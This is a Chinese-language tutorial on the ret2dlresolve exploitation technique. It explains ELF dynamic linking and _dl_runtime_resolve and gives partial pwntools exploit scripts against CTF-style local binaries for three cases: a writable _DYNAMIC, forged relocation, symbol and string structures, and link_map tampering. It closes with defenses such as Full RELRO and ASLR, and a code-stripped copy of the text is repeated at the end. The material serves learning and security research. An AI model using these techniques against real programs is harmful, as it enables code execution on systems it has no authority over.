dl_reslove从入门pwn到巅峰极客
字数 1453 2025-08-24 07:48:23

DL_Resolve从入门到巅峰极客:深入理解ret2dlresolve攻击技术

前言

ret2dlresolve是一种高级的二进制漏洞利用技术,特别适用于存在溢出但没有输出函数泄露地址的情况。本文将全面解析Linux下ELF文件的动态链接机制,并深入探讨如何利用_dl_runtime_resolve函数实现攻击。

ELF动态链接基础

GOT/PLT机制

在Linux下,动态链接的程序调用其他链接库函数时,会通过以下流程:

  1. 程序首次调用库函数时,会执行call [email protected]
  2. PLT条目中包含jmp [got表地址]指令
  3. 由于延迟绑定机制,首次调用时会触发_dl_runtime_resolve解析真实地址

关键数据结构

ELF文件中有三个关键节区参与动态链接:

  1. DT_STRTAB:字符串表,包含动态链接所需的符号名称
  2. DT_SYMTAB:符号表,每个条目大小为0x18字节
  3. DT_JMPREL:PLT重定位表,每个条目大小为0x18字节

Elf64_Sym结构体

typedef struct elf64_sym {
    Elf64_Word st_name;   // 符号名在字符串表中的偏移
    unsigned char st_info; // 符号类型和作用域
    unsigned char st_other;
    Elf64_Half st_shndx;  // 符号所在section下标
    Elf64_Addr st_value;  // 符号值在section中的偏移
    Elf64_Xword st_size;  // 符号大小
} Elf64_Sym;

Elf64_Rela结构体

typedef struct {
    Elf64_Addr r_offset;  // GOT表地址
    Elf64_Xword r_info;   // 前32位是重定位类型,后32位是符号表索引
    Elf64_Sxword r_addend; // 附加信息
} Elf64_Rela;

_dl_runtime_resolve解析流程

_dl_runtime_resolve函数接收两个参数:

  1. link_map指针
  2. reloc_arg(重定位条目在.rel.plt中的偏移)

解析流程如下:

  1. 获取符号表和字符串表

    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
    const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
    
  2. 计算重定位入口

    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
    
  3. 获取符号信息

    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
    
  4. 计算GOT表地址

    void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
    
  5. 符号查找

    result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    
  6. 计算函数地址并写入GOT

    value = DL_FIXUP_MAKE_VALUE(result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
    

ret2dlresolve攻击技术

情况一:_DYNAMIC可写(RELRO未开启)

攻击思路

  1. 篡改DT_STRTAB中的字符串偏移
  2. 将目标函数名(如"exit")改为系统函数(如"system")
  3. 当解析函数时,会错误地将system函数地址写入GOT表

示例利用代码

from pwn import *
FILENAME = '../test1'
p = process(FILENAME)
elf = ELF(FILENAME)
dynamic = elf.get_section_by_name('.dynamic').header.sh_addr
STRTABLE = dynamic + 0x90 + 0x8
p.sendline(f'{STRTABLE:x}')
STR_SYSTEM = 0x403320
p.sendline(f'{STR_SYSTEM-0x3D:x}')
p.interactive()

情况二:_DYNAMIC不可写

攻击思路

  1. 伪造完整的DT_JMPREL、DT_SYMTAB和DT_STRTAB结构
  2. 控制reloc_arg指向伪造的重定位条目
  3. 通过ROP跳过PLT的push操作,直接jmp到伪造的解析流程

关键伪造步骤

  1. 伪造Elf64_Rela结构体:

    • r_offset:目标GOT地址
    • r_info:符号表索引
    • r_addend:0
  2. 伪造Elf64_Sym结构体:

    • st_name:字符串表偏移
    • st_info:0x12(导入函数标识)
    • 其他字段设为0
  3. 伪造字符串表:

    • 包含目标函数名(如"system")

示例利用代码

from pwn import *
FILENAME = '../chall'
p = process(FILENAME)
elf = ELF(FILENAME)
call_fgets = 0x40119A
rsi_ret = 0x401165
movRdiRsi_ret = 0x40115A
bss = 0x405000 - 0x100
leave_ret = 0x4011B6

fake_strAddr = bss
fake_symAddr = fake_strAddr - 0x200
fake_jmpAddr = fake_symAddr - 0x200
STR_offset = 0x4a50
mygot = 0x404000
JMP_offset = 0x30D + 1
reloc_arg = 0x2e3

# 构造ROP链和伪造数据结构
# ...(完整代码见原文)

Linkmap攻击

攻击思路

  1. 篡改linkmap结构中的关键指针
  2. 控制l_addr偏移使解析函数写入任意GOT地址
  3. 利用_r_debug结构伪造字符串表

高级技巧

  1. 通过单字节篡改修改linkmap指针
  2. 利用stdout泄露地址
  3. 结合malloc_hook完成ROP攻击

示例利用代码

from pwn import *
FILENAME = '../pwn11'
elf = ELF(FILENAME)
libc = elf.libc
p = process(FILENAME)

link_map = 0x26a190
stdout = 0x22e6a0
r_debug = 0x26a160
STR_write = 0x3e
malloc_hook = 0x22db70

# 单字节篡改linkmap和stdout
# 泄露地址后构造ROP链
# ...(完整代码见原文)

防御措施

  1. 开启Full RELRO:防止GOT表被修改
  2. 使用地址随机化(ASLR):增加预测地址难度
  3. 栈保护:防止简单的栈溢出
  4. 编译器加固选项:如-fstack-protector-strong

总结

ret2dlresolve是一种强大的攻击技术,它深入利用了Linux动态链接器的解析机制。理解这种攻击不仅有助于安全研究,也能帮助开发者编写更安全的代码。防御此类攻击需要综合运用多种安全措施,特别是Full RELRO和地址随机化。

DL_ Resolve从入门到巅峰极客:深入理解ret2dlresolve攻击技术 前言 ret2dlresolve是一种高级的二进制漏洞利用技术,特别适用于存在溢出但没有输出函数泄露地址的情况。本文将全面解析Linux下ELF文件的动态链接机制,并深入探讨如何利用 _dl_runtime_resolve 函数实现攻击。 ELF动态链接基础 GOT/PLT机制 在Linux下,动态链接的程序调用其他链接库函数时,会通过以下流程: 程序首次调用库函数时,会执行 call [email protected] PLT条目中包含 jmp [got表地址] 指令 由于延迟绑定机制,首次调用时会触发 _dl_runtime_resolve 解析真实地址 关键数据结构 ELF文件中有三个关键节区参与动态链接: DT_ STRTAB :字符串表,包含动态链接所需的符号名称 DT_ SYMTAB :符号表,每个条目大小为0x18字节 DT_ JMPREL :PLT重定位表,每个条目大小为0x18字节 Elf64_ Sym结构体 Elf64_ Rela结构体 _ dl_ runtime_ resolve解析流程 _dl_runtime_resolve 函数接收两个参数: link_map 指针 reloc_arg (重定位条目在.rel.plt中的偏移) 解析流程如下: 获取符号表和字符串表 : 计算重定位入口 : 获取符号信息 : 计算GOT表地址 : 符号查找 : 计算函数地址并写入GOT : ret2dlresolve攻击技术 情况一:_ DYNAMIC可写(RELRO未开启) 攻击思路 : 篡改DT_ STRTAB中的字符串偏移 将目标函数名(如"exit")改为系统函数(如"system") 当解析函数时,会错误地将system函数地址写入GOT表 示例利用代码 : 情况二:_ DYNAMIC不可写 攻击思路 : 伪造完整的DT_ JMPREL、DT_ SYMTAB和DT_ STRTAB结构 控制reloc_ arg指向伪造的重定位条目 通过ROP跳过PLT的push操作,直接jmp到伪造的解析流程 关键伪造步骤 : 伪造Elf64_ Rela结构体: r_ offset:目标GOT地址 r_ info:符号表索引 r_ addend:0 伪造Elf64_ Sym结构体: st_ name:字符串表偏移 st_ info:0x12(导入函数标识) 其他字段设为0 伪造字符串表: 包含目标函数名(如"system") 示例利用代码 : Linkmap攻击 攻击思路 : 篡改linkmap结构中的关键指针 控制 l_addr 偏移使解析函数写入任意GOT地址 利用 _r_debug 结构伪造字符串表 高级技巧 : 通过单字节篡改修改linkmap指针 利用stdout泄露地址 结合malloc_ hook完成ROP攻击 示例利用代码 : 防御措施 开启Full RELRO:防止GOT表被修改 使用地址随机化(ASLR):增加预测地址难度 栈保护:防止简单的栈溢出 编译器加固选项:如-fstack-protector-strong 总结 ret2dlresolve是一种强大的攻击技术,它深入利用了Linux动态链接器的解析机制。理解这种攻击不仅有助于安全研究,也能帮助开发者编写更安全的代码。防御此类攻击需要综合运用多种安全措施,特别是Full RELRO和地址随机化。